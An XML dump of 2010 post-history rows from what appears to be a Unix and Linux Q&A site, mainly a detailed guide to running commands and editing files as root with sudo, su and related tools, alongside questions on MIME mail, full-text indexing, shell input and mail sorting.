  <row Id="6487" PostHistoryTypeId="3" PostId="3086" RevisionGUID="fb6eb9a3-96cd-4b66-a04c-2a0fad7911da" CreationDate="2010-10-13T21:47:17.170" UserId="1791" Text="écommandölineàésearchà" />
  <row Id="6488" PostHistoryTypeId="5" PostId="1904" RevisionGUID="10b8b1a5-97a7-4641-a92b-3f32865f7c6d" CreationDate="2010-10-13T22:54:14.030" UserId="1571" Comment="added 341 characters in body" Text="You could try using dropbox&#xD;&#xA;&#xD;&#xA;http://www.dropbox.com/&#xD;&#xA;&#xD;&#xA;That's what I use. You could potentially mount /home to your dropbox folder. But I just have it in /home/dropbox and save all my settings and stuff to there. That way you don't have to svn pull or anything like that, the stuff is automatically synced&#xD;&#xA;&#xD;&#xA;`Source control means, amongst other things, that you have change logs, that you can commit individual files and see differences between commits, that the version history is kept forever`&#xD;&#xA;&#xD;&#xA;I just have to point that dropbox does everything on that list. It's not the BEST for all of those. But doing all of that is possible with dropbox" />
  <row Id="6489" PostHistoryTypeId="2" PostId="3087" RevisionGUID="791efaea-ece1-4396-a23a-70ef369e1d1f" CreationDate="2010-10-13T23:03:06.583" UserId="305" Text="tracker can be invoced from command line and gtk+ is not hard dependency for project (but may be for packages)." />
  <row Id="6490" PostHistoryTypeId="4" PostId="3086" RevisionGUID="e4c9d9f1-484d-43ef-93b7-a64a5039234c" CreationDate="2010-10-13T23:03:32.650" UserId="1791" Comment="rephrased title" Text="Commad-line-friendly full-text indexing ?" />
  <row Id="6491" PostHistoryTypeId="5" PostId="3064" RevisionGUID="f8f971d8-c5d8-4e0e-99b0-b2a1a6d566fa" CreationDate="2010-10-13T23:51:17.943" UserId="885" Comment="general polishing; mention calife, op, super; emacs; started section on running commands as X; started section on editing root-owned files" Text="The main two possibilities are:&#xD;&#xA;&#xD;&#xA;* Use **`su`** and enter the root password when prompted.&#xD;&#xA;* Put **`sudo`** in front of the command, and enter your password when prompted.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;# Running a command as root&#xD;&#xA;&#xD;&#xA;## sudo&#xD;&#xA;&#xD;&#xA;This is the preferred method on most multi-user systems and on **Ubuntu**. If you don't know a separate root password, use this method.&#xD;&#xA;&#xD;&#xA;Sudo requires that you type your own password. (The purpose is to limit the damage if you leave your keyboard unattended and unlocked.) It is often configured to not ask again for a few minutes so you can run several `sudo` commands in succession.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    sudo service apache restart&#xD;&#xA;&#xD;&#xA;If you need to run several commands as root, prefix each of them with `sudo`. Sometimes, it is more convenient to run an interactive shell as root. You can use `sudo -i` for that:&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;Instead of `sudo -i`, you can use `sudo -s`. The difference is that `-i` re&lt;strong&gt;i&lt;/strong&gt;nitializes the environment to sane defaults, whereas `-s` uses your configuration files for better or for worse.&#xD;&#xA;&#xD;&#xA;For more information, see the [sudo website](http://www.sudo.ws/), or type [`man sudo`](http://www.sudo.ws/sudo/sudo.man.html) on your system. Sudo is very configurable; for example it can be configured to let a certain user only execute certain commands as root. Read the [`sudoers` man page](http://www.sudo.ws/sudo/sudoers.man.html) for more information; use `sudo visudo` to edit the sudoers file.&#xD;&#xA;&#xD;&#xA;## su&#xD;&#xA;&#xD;&#xA;The `su` command exists on most unix-like systems. It lets you run a command as another user, including root, provided you know that user's password.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    su -c 'service apache restart'&#xD;&#xA;&#xD;&#xA;The command to run must be passed using the `-c` option. Note that you need quotes so that the command is not parsed by your shell, but passed intact to the root shell that `su` runs.&#xD;&#xA;&#xD;&#xA;To run multiple commands as root, it is more convenient to start an interactive shell. &#xD;&#xA;&#xD;&#xA;    $ su -c bash&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;On some systems, you need to be in group number 0 (called `wheel`) to use `su`. (The point is to limit the damage if the root password is accidentally leaked to someone.)&#xD;&#xA;&#xD;&#xA;## Logging in as root&#xD;&#xA;&#xD;&#xA;If authorized, you can simply type `root` at the login prompt and enter the root password. Be very careful, and avoid running complex applications as root as they might do something you didn't intend. Logging in directly as root is mainly useful in emergency situtations, such as disk failures or when you've locked yourself out of your account.&#xD;&#xA;&#xD;&#xA;## Other programs&#xD;&#xA;&#xD;&#xA;### Calife&#xD;&#xA;&#xD;&#xA;Calife lets you run commands as another user by typing your own password, if authorized. It is similar to the much more widespread sudo (see above). Calife is more light-weight than sudo but also less configurable.&#xD;&#xA;&#xD;&#xA;### Emacs&#xD;&#xA;&#xD;&#xA;Thanks to [Tramp](http://www.gnu.org/software/tramp/#Remote-processes), you can run commands as root through `su` or `sudo` within Emacs. See the section on editing root-owned files below.&#xD;&#xA;&#xD;&#xA;In eshell, type `cd /sudo::` or `cd /su::` to become root. Type `cd /` to go back to your own user. The idea is that the current directory is on a “remote” host, which is in fact the same host but accessed as a different user.&#xD;&#xA;&#xD;&#xA;You can also have `M-!` (`shell-command`) or `M-x shell` run as root. First visit a directory using the `su` or `sudo` tramp method, e.g., `C-x C-f /sudo::/ RET` (`find-file` `&quot;/sudo::/&quot;`). Then run `M-!` or `M-x shell` from the resulting dired buffer.&#xD;&#xA;&#xD;&#xA;### Op&#xD;&#xA;&#xD;&#xA;Op lets you run commands as another user, including root. This not a full-blown tool to run arbitrary commands: you type `op` followed by a *mnemonic* configured by the system administrator to run a specific command.&#xD;&#xA;&#xD;&#xA;### Super&#xD;&#xA;&#xD;&#xA;Super lets you run commands as another user, including root. The command must have been allowed by the system administrator.&#xD;&#xA;&#xD;&#xA;## Graphical frontends&#xD;&#xA;&#xD;&#xA;A few other applications that use `sudo` or `su`:&#xD;&#xA;&#xD;&#xA;### Gksu, Gksudo&#xD;&#xA;&#xD;&#xA;`gksu` and `gksudo` are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [Gnome](http://www.gnome.org/). Type&#xD;&#xA;&#xD;&#xA;    gksu command --option argument&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    gksudo command --option argument&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`).&#xD;&#xA;&#xD;&#xA;### KdeSu, KdeSudo&#xD;&#xA;&#xD;&#xA;[`kdesu`](http://docs.kde.org/stable/en/kdebase-runtime/kdesu/) and [`kdesudo`](http://ksudo.sourceforge.net/kdesudo/) are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [KDE](http://www.kde.org/). Type&#xD;&#xA;&#xD;&#xA;    kdesu -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    kdesudo -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`). If you check the “keep password” option in KdeSu, you will only have to type the root password once per login session.&#xD;&#xA;&#xD;&#xA;### Ktsuss&#xD;&#xA;&#xD;&#xA;[Ktsuss](http://developer.berlios.de/projects/ktsuss) (“keep the su simple, stupid”) is a graphical version of su.&#xD;&#xA;&#xD;&#xA;### Beesu&#xD;&#xA;&#xD;&#xA;Beesu is a graphical front-end to the su command that has replaced Gksu in Red Hat-based operating systems. It has been developed mainly for RHEL and Fedora.&#xD;&#xA;&#xD;&#xA;See also [Wikipedia](http://en.wikipedia.org/wiki/Comparison_of_privilege_authorization_features).&#xD;&#xA;&#xD;&#xA;# Running a graphical command as root&#xD;&#xA;&#xD;&#xA;Depending on your system, `su` and `sudo` might not let the commands you run as root to access your X Window display.&#xD;&#xA;&#xD;&#xA;The easiest solution is to use a graphical wrapper such as `gksu`, `kdesu`, `beesu`, or their sudo siblings.&#xD;&#xA;&#xD;&#xA;To achieve this manually, you'll at least need to make sure you retain the `DISPLAY` environment variable in the environment, as well as `XAUTHORITY` if present.&#xD;&#xA;&#xD;&#xA;# Editing a file as root&#xD;&#xA;&#xD;&#xA;Obviously, if you know how to run any command as root, you can run an editor. But that's not the most convenient or the safest method.&#xD;&#xA;&#xD;&#xA;**Note:** There are a few files that you should not edit directly:&#xD;&#xA;&#xD;&#xA;* Never edit the `sudoers` directly. Always use the `visudo` command for that. If you make a mistake in the syntax of the `sudoers` file, you could be locked out of the root account! When you run `visudo`, it lets you edit a temporary copy of the file and performs a syntax verification before replacing the actual file by your edits.&#xD;&#xA;* The same principle applies to the user and group databases, `/etc/passwd` and `/etc/group`. On systems where they are available, use the `vipw` and `vigr` commands respectively.&#xD;&#xA;&#xD;&#xA;## sudoedit&#xD;&#xA;&#xD;&#xA;`sudoedit` (or its synonym `sudo -e`) is a mode of `sudo` where you edit a temporary copy of a file in your favorite editor, and that copy is moved into place when you finish editing.&#xD;&#xA;&#xD;&#xA;    sudoedit /etc/fstab&#xD;&#xA;&#xD;&#xA;## Emacs&#xD;&#xA;&#xD;&#xA;You can use Emacs's remote access mechanism ([Tramp](http://www.gnu.org/software/tramp/)) to edit files as another user. Use the `su` or `sudo` [method](http://www.gnu.org/software/tramp/#Inline-methods). For example, to edit `/etc/fstab`, use one of the following file names:&#xD;&#xA;&#xD;&#xA;    /su::/etc/fstab&#xD;&#xA;    /sudo::/etc/fstab&#xD;&#xA;" />
  <row Id="6492" PostHistoryTypeId="5" PostId="3063" RevisionGUID="26ce1ee9-e5e1-4263-9894-241c44f999a9" CreationDate="2010-10-13T23:55:45.453" UserId="885" Comment="added search fodder" Text="I need to run a command with administrative privileges. Someone said I should run a command as root. How do I do this?&#xD;&#xA;" />
  <row Id="6493" PostHistoryTypeId="4" PostId="3063" RevisionGUID="26ce1ee9-e5e1-4263-9894-241c44f999a9" CreationDate="2010-10-13T23:55:45.453" UserId="885" Comment="added search fodder" Text="How do I run a command as the system administrator (root)" />
  <row Id="6494" PostHistoryTypeId="6" PostId="3063" RevisionGUID="26ce1ee9-e5e1-4263-9894-241c44f999a9" CreationDate="2010-10-13T23:55:45.453" UserId="885" Comment="added search fodder" Text="érootàéadministrationà" />
  <row Id="6495" PostHistoryTypeId="2" PostId="3088" RevisionGUID="f478f4f3-2f50-4de2-b8da-a5afa97a2497" CreationDate="2010-10-13T23:56:07.347" UserId="1389" Text="e.g., I've got files I want to send by `sendmail` but the receiving mailbox (for posting pictures to my blog) will not accept `uuencode` files a la &#xD;&#xA;&#xD;&#xA;`$uuencode file | sendmail user@domain`&#xD;&#xA;&#xD;&#xA;I'm guessing it'll accept MIME though. So what command can I use instead?" />
  <row Id="6496" PostHistoryTypeId="1" PostId="3088" RevisionGUID="f478f4f3-2f50-4de2-b8da-a5afa97a2497" CreationDate="2010-10-13T23:56:07.347" UserId="1389" Text="What is the MIME equivalent of uuencode for sendmail?" />
  <row Id="6497" PostHistoryTypeId="3" PostId="3088" RevisionGUID="f478f4f3-2f50-4de2-b8da-a5afa97a2497" CreationDate="2010-10-13T23:56:07.347" UserId="1389" Text="éterminalàémailàépipeàésendmailà" />
  <row Id="6498" PostHistoryTypeId="5" PostId="3086" RevisionGUID="6ec05100-df33-447c-b2e5-f50af7030980" CreationDate="2010-10-14T00:04:58.640" UserId="1791" Comment="added 170 characters in body" Text="Is there such a thing as a full-text indexing engine, that can be queried from the command line and doesn't force you to use gtk, or even worse qt ?&#xD;&#xA;&#xD;&#xA;I'm especially interested in indexing my ebooks and papers, so that's a mixture of pdf, epub and a few djvu. (Open)Office docs would be nice, but much lower on my list." />
  <row Id="6499" PostHistoryTypeId="2" PostId="3089" RevisionGUID="12faa768-2ee1-42ae-8a90-97f6c8462d40" CreationDate="2010-10-14T00:11:27.990" UserId="2279" Text="    cat file1 | grep -fxF file2&#xD;&#xA;&#xD;&#xA;-f means matche plain strings (not regexps, -x means only whole-line matches, -F means take 'patterns' (i.e. lines with -f and x) from the file named as its argument" />
  <row Id="6500" PostHistoryTypeId="4" PostId="1079" RevisionGUID="c25188d6-8a35-48f2-bfdc-dc3da826872a" CreationDate="2010-10-14T02:03:12.953" UserId="73" Comment="edited title" Text="Output the common lines (similarities) of two text files (the opposite of diff)?" />
  <row Id="6501" PostHistoryTypeId="2" PostId="3090" RevisionGUID="f09fca20-729e-4155-9a07-a4c3ad64ad3c" CreationDate="2010-10-14T03:12:37.943" UserId="298" Text="Have you looked at Lucene or Sphinx?  While you will need to initially parse the documents you want to index, once that's done, either one can search from the cli.  &#xD;&#xA;&#xD;&#xA;For Lucene, there is some info on doing this [available][1]. &#xD;&#xA;&#xD;&#xA;Sphinx, is a bit more vague, but there is also some documentation [available][2]. &#xD;&#xA;&#xD;&#xA;Lucene relies on Java, while Sphinx is built in C++ with no needed outside dependencies. &#xD;&#xA;&#xD;&#xA;Either one is going to require a bit of work to do what you want, but, seems like a totally workable solution. &#xD;&#xA;&#xD;&#xA;  [1]: http://http://wiki.apache.org/lucene-java/LuceneFAQ#How_can_I_index_file_formats_like_OpenDocument_.28aka_OpenOffice.org.29.2C_RTF.2C_Microsoft_Word.2C_Excel.2C_PowerPoint.2C_Visio.2C_etc.3F&#xD;&#xA;&#xD;&#xA;  [2]: http://www.sphinxsearch.com/docs/current.html#sources" />
  <row Id="6502" PostHistoryTypeId="2" PostId="3091" RevisionGUID="ebc56c7b-c627-488e-9c4a-cd640b7ae0b1" CreationDate="2010-10-14T03:23:25.983" UserId="2282" Text="You need [mimencode][1] from the metamail package... Debian has some [package info][2], but the package is based on ancient Bellcore code.&#xD;&#xA;&#xD;&#xA;If you're just trying to send mail though, you might look into using [mutt][3]; I think it can mimencode attachments from the commandline.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tin.org/bin/man.cgi?section=1&amp;topic=mimencode&#xD;&#xA;  [2]: http://packages.qa.debian.org/m/metamail.html&#xD;&#xA;  [3]: http://www.mutt.org/" />
  <row Id="6503" PostHistoryTypeId="5" PostId="3060" RevisionGUID="0e3dc791-bb8a-42ac-b904-b28fff4916cd" CreationDate="2010-10-14T03:23:50.163" UserId="1294" Comment="deleted 4 characters in body" Text="The file `$HOME/.profile` is used by a number of shells, including bash, sh, dash, and possibly others.&#xD;&#xA;&#xD;&#xA;From the bash man page:&#xD;&#xA;&#xD;&#xA;&gt; When bash is invoked as an interactive login shell, ... it first reads and executes commands from the file /etc/profile, if that file exists.   After  reading that file, it looks for ~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that exists and is readable.&#xD;&#xA;&#xD;&#xA;csh and tcsh explicitly don't look at `~/.profile` but those shells are kinda antiquated." />
  <row Id="6504" PostHistoryTypeId="2" PostId="3092" RevisionGUID="049531da-3103-4630-ab41-fb14adfe28fd" CreationDate="2010-10-14T04:38:33.710" UserId="2285" Text="&#xD;&#xA;&#xD;&#xA;I would like to organize all incoming email into the following directory structure based on the date of the email:&#xD;&#xA;&#xD;&#xA;    ROOT --+-- YYYYMMDD --+-- HH --+-- mm --+-- YYYYMMDD-HHmmSS-000001&#xD;&#xA;           |              |        |        |&#xD;&#xA;           |              |        |        |      ....&#xD;&#xA;           |              |        |        |&#xD;&#xA;           |              |        |        +-- YYYYMMDD-HHmmSS-NNNNNN&#xD;&#xA;           |              |        +-- mm --&#xD;&#xA;           |              +-- HH --+-- mm -- &#xD;&#xA;&#xD;&#xA;Note that each email will be stored as a separate file and the name of the file is YYYYMMDD-HHmmss-NNNNN, where NNNNN is a running number.&#xD;&#xA;&#xD;&#xA;Can procmail or maildrop do this? If not, what other options are there?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6505" PostHistoryTypeId="1" PostId="3092" RevisionGUID="049531da-3103-4630-ab41-fb14adfe28fd" CreationDate="2010-10-14T04:38:33.710" UserId="2285" Text="Organize Email by Date Using procmail or maildrop" />
  <row Id="6506" PostHistoryTypeId="3" PostId="3092" RevisionGUID="049531da-3103-4630-ab41-fb14adfe28fd" CreationDate="2010-10-14T04:38:33.710" UserId="2285" Text="émailà" />
  <row Id="6507" PostHistoryTypeId="6" PostId="3092" RevisionGUID="8b1f2b67-a026-4c07-9d4e-79dd0a1884dc" CreationDate="2010-10-14T05:05:03.923" UserId="73" Comment="edited tags" Text="émailà" />
  <row Id="6508" PostHistoryTypeId="5" PostId="3064" RevisionGUID="7eb439fe-8ca8-48d3-9de3-eb7a74670528" CreationDate="2010-10-14T06:32:26.117" UserId="1207" Comment="added 848 characters in body" Text="The main two possibilities are:&#xD;&#xA;&#xD;&#xA;* Use **`su`** and enter the root password when prompted.&#xD;&#xA;* Put **`sudo`** in front of the command, and enter your password when prompted.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;# Running a command as root&#xD;&#xA;&#xD;&#xA;## sudo&#xD;&#xA;&#xD;&#xA;This is the preferred method on most multi-user systems and on **Ubuntu**. If you don't know a separate root password, use this method.&#xD;&#xA;&#xD;&#xA;Sudo requires that you type your own password. (The purpose is to limit the damage if you leave your keyboard unattended and unlocked.) It is often configured to not ask again for a few minutes so you can run several `sudo` commands in succession.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    sudo service apache restart&#xD;&#xA;&#xD;&#xA;If you need to run several commands as root, prefix each of them with `sudo`. Sometimes, it is more convenient to run an interactive shell as root. You can use `sudo -i` for that:&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;Instead of `sudo -i`, you can use `sudo -s`. The difference is that `-i` re&lt;strong&gt;i&lt;/strong&gt;nitializes the environment to sane defaults, whereas `-s` uses your configuration files for better or for worse.&#xD;&#xA;&#xD;&#xA;For more information, see the [sudo website](http://www.sudo.ws/), or type [`man sudo`](http://www.sudo.ws/sudo/sudo.man.html) on your system. Sudo is very configurable; for example it can be configured to let a certain user only execute certain commands as root. Read the [`sudoers` man page](http://www.sudo.ws/sudo/sudoers.man.html) for more information; use `sudo visudo` to edit the sudoers file.&#xD;&#xA;&#xD;&#xA;## su&#xD;&#xA;&#xD;&#xA;The `su` command exists on most unix-like systems. It lets you run a command as another user, including root, provided you know that user's password.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    su -c 'service apache restart'&#xD;&#xA;&#xD;&#xA;The command to run must be passed using the `-c` option. Note that you need quotes so that the command is not parsed by your shell, but passed intact to the root shell that `su` runs.&#xD;&#xA;&#xD;&#xA;To run multiple commands as root, it is more convenient to start an interactive shell. &#xD;&#xA;&#xD;&#xA;    $ su -c bash&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;On some systems, you need to be in group number 0 (called `wheel`) to use `su`. (The point is to limit the damage if the root password is accidentally leaked to someone.)&#xD;&#xA;&#xD;&#xA;## Logging in as root&#xD;&#xA;&#xD;&#xA;If authorized, you can simply type `root` at the login prompt and enter the root password. Be very careful, and avoid running complex applications as root as they might do something you didn't intend. Logging in directly as root is mainly useful in emergency situations, such as disk failures or when you've locked yourself out of your account.&#xD;&#xA;&#xD;&#xA;##Single User Mode&#xD;&#xA;&#xD;&#xA;Single user mode, or run-level 1, also gives you root privileges.  This is intended primarily for emergency maintenance situations where booting into a multi-user run-level is not possible.  You can boot into single user mode by passing `single` or `emergency` on the kernel command line.  Note that booting into single-user mode is not the same as booting the system normally and logging in as root.  Rather, the system will only start the services defined for run-level 1.  Typically, this is the smallest number of services required to have a usable system.&#xD;&#xA;&#xD;&#xA;You can also get to single user mode by using the telinit command: `telinit 1`; however, this command requires root privileges to run.&#xD;&#xA;&#xD;&#xA;On many systems booting into single user mode will give the user access to a root shell without prompting for a password.&#xD;&#xA;&#xD;&#xA;## Other programs&#xD;&#xA;&#xD;&#xA;### Calife&#xD;&#xA;&#xD;&#xA;Calife lets you run commands as another user by typing your own password, if authorized. It is similar to the much more widespread sudo (see above). Calife is more light-weight than sudo but also less configurable.&#xD;&#xA;&#xD;&#xA;### Emacs&#xD;&#xA;&#xD;&#xA;Thanks to [Tramp](http://www.gnu.org/software/tramp/#Remote-processes), you can run commands as root through `su` or `sudo` within Emacs. See the section on editing root-owned files below.&#xD;&#xA;&#xD;&#xA;In eshell, type `cd /sudo::` or `cd /su::` to become root. Type `cd /` to go back to your own user. The idea is that the current directory is on a “remote” host, which is in fact the same host but accessed as a different user.&#xD;&#xA;&#xD;&#xA;You can also have `M-!` (`shell-command`) or `M-x shell` run as root. First visit a directory using the `su` or `sudo` tramp method, e.g., `C-x C-f /sudo::/ RET` (`find-file` `&quot;/sudo::/&quot;`). Then run `M-!` or `M-x shell` from the resulting dired buffer.&#xD;&#xA;&#xD;&#xA;### Op&#xD;&#xA;&#xD;&#xA;Op lets you run commands as another user, including root. This not a full-blown tool to run arbitrary commands: you type `op` followed by a *mnemonic* configured by the system administrator to run a specific command.&#xD;&#xA;&#xD;&#xA;### Super&#xD;&#xA;&#xD;&#xA;Super lets you run commands as another user, including root. The command must have been allowed by the system administrator.&#xD;&#xA;&#xD;&#xA;## Graphical frontends&#xD;&#xA;&#xD;&#xA;A few other applications that use `sudo` or `su`:&#xD;&#xA;&#xD;&#xA;### Gksu, Gksudo&#xD;&#xA;&#xD;&#xA;`gksu` and `gksudo` are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [Gnome](http://www.gnome.org/). Type&#xD;&#xA;&#xD;&#xA;    gksu command --option argument&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    gksudo command --option argument&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`).&#xD;&#xA;&#xD;&#xA;### KdeSu, KdeSudo&#xD;&#xA;&#xD;&#xA;[`kdesu`](http://docs.kde.org/stable/en/kdebase-runtime/kdesu/) and [`kdesudo`](http://ksudo.sourceforge.net/kdesudo/) are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [KDE](http://www.kde.org/). Type&#xD;&#xA;&#xD;&#xA;    kdesu -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    kdesudo -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`). If you check the “keep password” option in KdeSu, you will only have to type the root password once per login session.&#xD;&#xA;&#xD;&#xA;### Ktsuss&#xD;&#xA;&#xD;&#xA;[Ktsuss](http://developer.berlios.de/projects/ktsuss) (“keep the su simple, stupid”) is a graphical version of su.&#xD;&#xA;&#xD;&#xA;### Beesu&#xD;&#xA;&#xD;&#xA;Beesu is a graphical front-end to the su command that has replaced Gksu in Red Hat-based operating systems. It has been developed mainly for RHEL and Fedora.&#xD;&#xA;&#xD;&#xA;See also [Wikipedia](http://en.wikipedia.org/wiki/Comparison_of_privilege_authorization_features).&#xD;&#xA;&#xD;&#xA;# Running a graphical command as root&#xD;&#xA;&#xD;&#xA;Depending on your system, `su` and `sudo` might not let the commands you run as root to access your X Window display.&#xD;&#xA;&#xD;&#xA;The easiest solution is to use a graphical wrapper such as `gksu`, `kdesu`, `beesu`, or their sudo siblings.&#xD;&#xA;&#xD;&#xA;To achieve this manually, you'll at least need to make sure you retain the `DISPLAY` environment variable in the environment, as well as `XAUTHORITY` if present.&#xD;&#xA;&#xD;&#xA;# Editing a file as root&#xD;&#xA;&#xD;&#xA;Obviously, if you know how to run any command as root, you can run an editor. But that's not the most convenient or the safest method.&#xD;&#xA;&#xD;&#xA;**Note:** There are a few files that you should not edit directly:&#xD;&#xA;&#xD;&#xA;* Never edit the `sudoers` directly. Always use the `visudo` command for that. If you make a mistake in the syntax of the `sudoers` file, you could be locked out of the root account! When you run `visudo`, it lets you edit a temporary copy of the file and performs a syntax verification before replacing the actual file by your edits.&#xD;&#xA;* The same principle applies to the user and group databases, `/etc/passwd` and `/etc/group`. On systems where they are available, use the `vipw` and `vigr` commands respectively.&#xD;&#xA;&#xD;&#xA;## sudoedit&#xD;&#xA;&#xD;&#xA;`sudoedit` (or its synonym `sudo -e`) is a mode of `sudo` where you edit a temporary copy of a file in your favorite editor, and that copy is moved into place when you finish editing.&#xD;&#xA;&#xD;&#xA;    sudoedit /etc/fstab&#xD;&#xA;&#xD;&#xA;## Emacs&#xD;&#xA;&#xD;&#xA;You can use Emacs's remote access mechanism ([Tramp](http://www.gnu.org/software/tramp/)) to edit files as another user. Use the `su` or `sudo` [method](http://www.gnu.org/software/tramp/#Inline-methods). For example, to edit `/etc/fstab`, use one of the following file names:&#xD;&#xA;&#xD;&#xA;    /su::/etc/fstab&#xD;&#xA;    /sudo::/etc/fstab&#xD;&#xA;" />
  <row Id="6509" PostHistoryTypeId="2" PostId="3093" RevisionGUID="3ec6f6d1-42af-4634-b2a6-6ef82b75e3f6" CreationDate="2010-10-14T06:48:25.913" UserId="1942" Text="The simple answer is that no operating system is 100% secure, unless it reads itself from read-only medium at startup is 100% secure.&#xD;&#xA;&#xD;&#xA;However, Windows has more vectors for infections, those vectors are more readily accessible, and once infected can do much more harm. This can be readily seen by reading the &quot;RootKit Arsenal&quot; or other books.&#xD;&#xA;&#xD;&#xA;The number of exploits on any machine is roughly proportional to (ave gain for rooting one machine ) * number of machines/(cost to create rooting malware).    &#xD;&#xA;&#xD;&#xA;Since the number of exploits is proportional to the number of computers it makes sense that the amount of malware is greater on Windows.  &#xD;&#xA;&#xD;&#xA;But, it is stupid to assume the only reason. Windows has more viruses is because there are more computers running it. Note that in Linux getting infected with malware is much less costly then in Windows because the damage is more contained. Conversly the  amount gained by one rooting is smaller). Note also that the cost of rooting is higher because of the reasons I mention in the first paragraph.&#xD;&#xA;&#xD;&#xA;Keep in mind this is true as of now. At this point linux is a better architected system then Windows. There are however forces saying that we need more rapid development of user friendly features. This can lead to making it easier for bugs to exist and viruses to be created. Already I find Ubuntu to be almost as buggy as Windows.&#xD;&#xA;" />
  <row Id="6510" PostHistoryTypeId="2" PostId="3094" RevisionGUID="a94b5b3c-850b-4542-874e-4b505f67109e" CreationDate="2010-10-14T06:58:51.333" UserId="1903" Text="How can i give space `&quot; &quot;` input in shell script ?&#xD;&#xA;&#xD;&#xA;Ex : &#xD;&#xA;&#xD;&#xA;    echo &quot; Enter date for grep... Ex: Oct  6 [***Double space is important for single date***] (or) Oct 12 &quot;&#xD;&#xA;    read mdate &#xD;&#xA;    echo $mdate&#xD;&#xA;&#xD;&#xA;    In this i get output as &quot;Oct 6&quot; But i want &quot;Oct  6&quot;&#xD;&#xA;&#xD;&#xA;How can i do it ?" />
  <row Id="6511" PostHistoryTypeId="1" PostId="3094" RevisionGUID="a94b5b3c-850b-4542-874e-4b505f67109e" CreationDate="2010-10-14T06:58:51.333" UserId="1903" Text="read space as input in shell script" />
  <row Id="6512" PostHistoryTypeId="3" PostId="3094" RevisionGUID="a94b5b3c-850b-4542-874e-4b505f67109e" CreationDate="2010-10-14T06:58:51.333" UserId="1903" Text="élinuxàéshellàéscriptingà" />
  <row Id="6513" PostHistoryTypeId="4" PostId="3094" RevisionGUID="30706c01-42d5-4a10-827d-f4edd052ed83" CreationDate="2010-10-14T07:04:19.363" UserId="1903" Comment="edited title; added 3 characters in body" Text="Read space as input in shell script" />
  <row Id="6515" PostHistoryTypeId="5" PostId="3094" RevisionGUID="30706c01-42d5-4a10-827d-f4edd052ed83" CreationDate="2010-10-14T07:04:19.363" UserId="1903" Comment="edited title; added 3 characters in body" Text="How can i give space `&quot; &quot;` as input in shell script ?&#xD;&#xA;&#xD;&#xA;Ex : &#xD;&#xA;&#xD;&#xA;    echo &quot; Enter date for grep... Ex: Oct  6 [***Double space is important for single date***] (or) Oct 12 &quot;&#xD;&#xA;    read mdate &#xD;&#xA;    echo $mdate&#xD;&#xA;&#xD;&#xA;    In this i get output as &quot;Oct 6&quot; But i want &quot;Oct  6&quot;&#xD;&#xA;&#xD;&#xA;How can i do it ?" />
  <row Id="6517" PostHistoryTypeId="2" PostId="3096" RevisionGUID="08110035-6e05-491b-90f2-c43bdbfff4aa" CreationDate="2010-10-14T07:16:10.413" UserId="885" Text="You already have `Oct  6` in `$mdate`, your problem is that you're expanding it when printing. **Always use double quotes around variable substitutions**:&#xD;&#xA;&#xD;&#xA;    read -r mdate&#xD;&#xA;    echo &quot;$mdate&quot;&#xD;&#xA;&#xD;&#xA;The `-r` (&lt;strong&gt;r&lt;/strong&gt;aw) option to read tells it not to treat backslashes specially, which is what you want most of the time (but it's not the problem here).&#xD;&#xA;" />
  <row Id="6518" PostHistoryTypeId="2" PostId="3097" RevisionGUID="fb2d3a96-adcb-4d65-9e38-f58aa537846f" CreationDate="2010-10-14T08:19:54.573" UserId="33" Text="If you know some Python it should be a rather trivial exercise:&#xD;&#xA;&#xD;&#xA;Python comes with an email package in the standardlib that allows your to read the emails from text files and automatically [parse them into usable objects][1]. After having parsed them you could just output them accordingly (each message has an &quot;as_string&quot; method).&#xD;&#xA;&#xD;&#xA;The basic structure would be like this:&#xD;&#xA;&#xD;&#xA; 1. Iterate over your files&#xD;&#xA; 2. Open each file and parse into an email object&#xD;&#xA; 3. take the date and split it into the fields you need&#xD;&#xA; 4. open the target file handle (running number is last number+1 or 1)&#xD;&#xA; 5. write msg.as_string() to the file&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.python.org/library/email.parser.html#feedparser-api" />
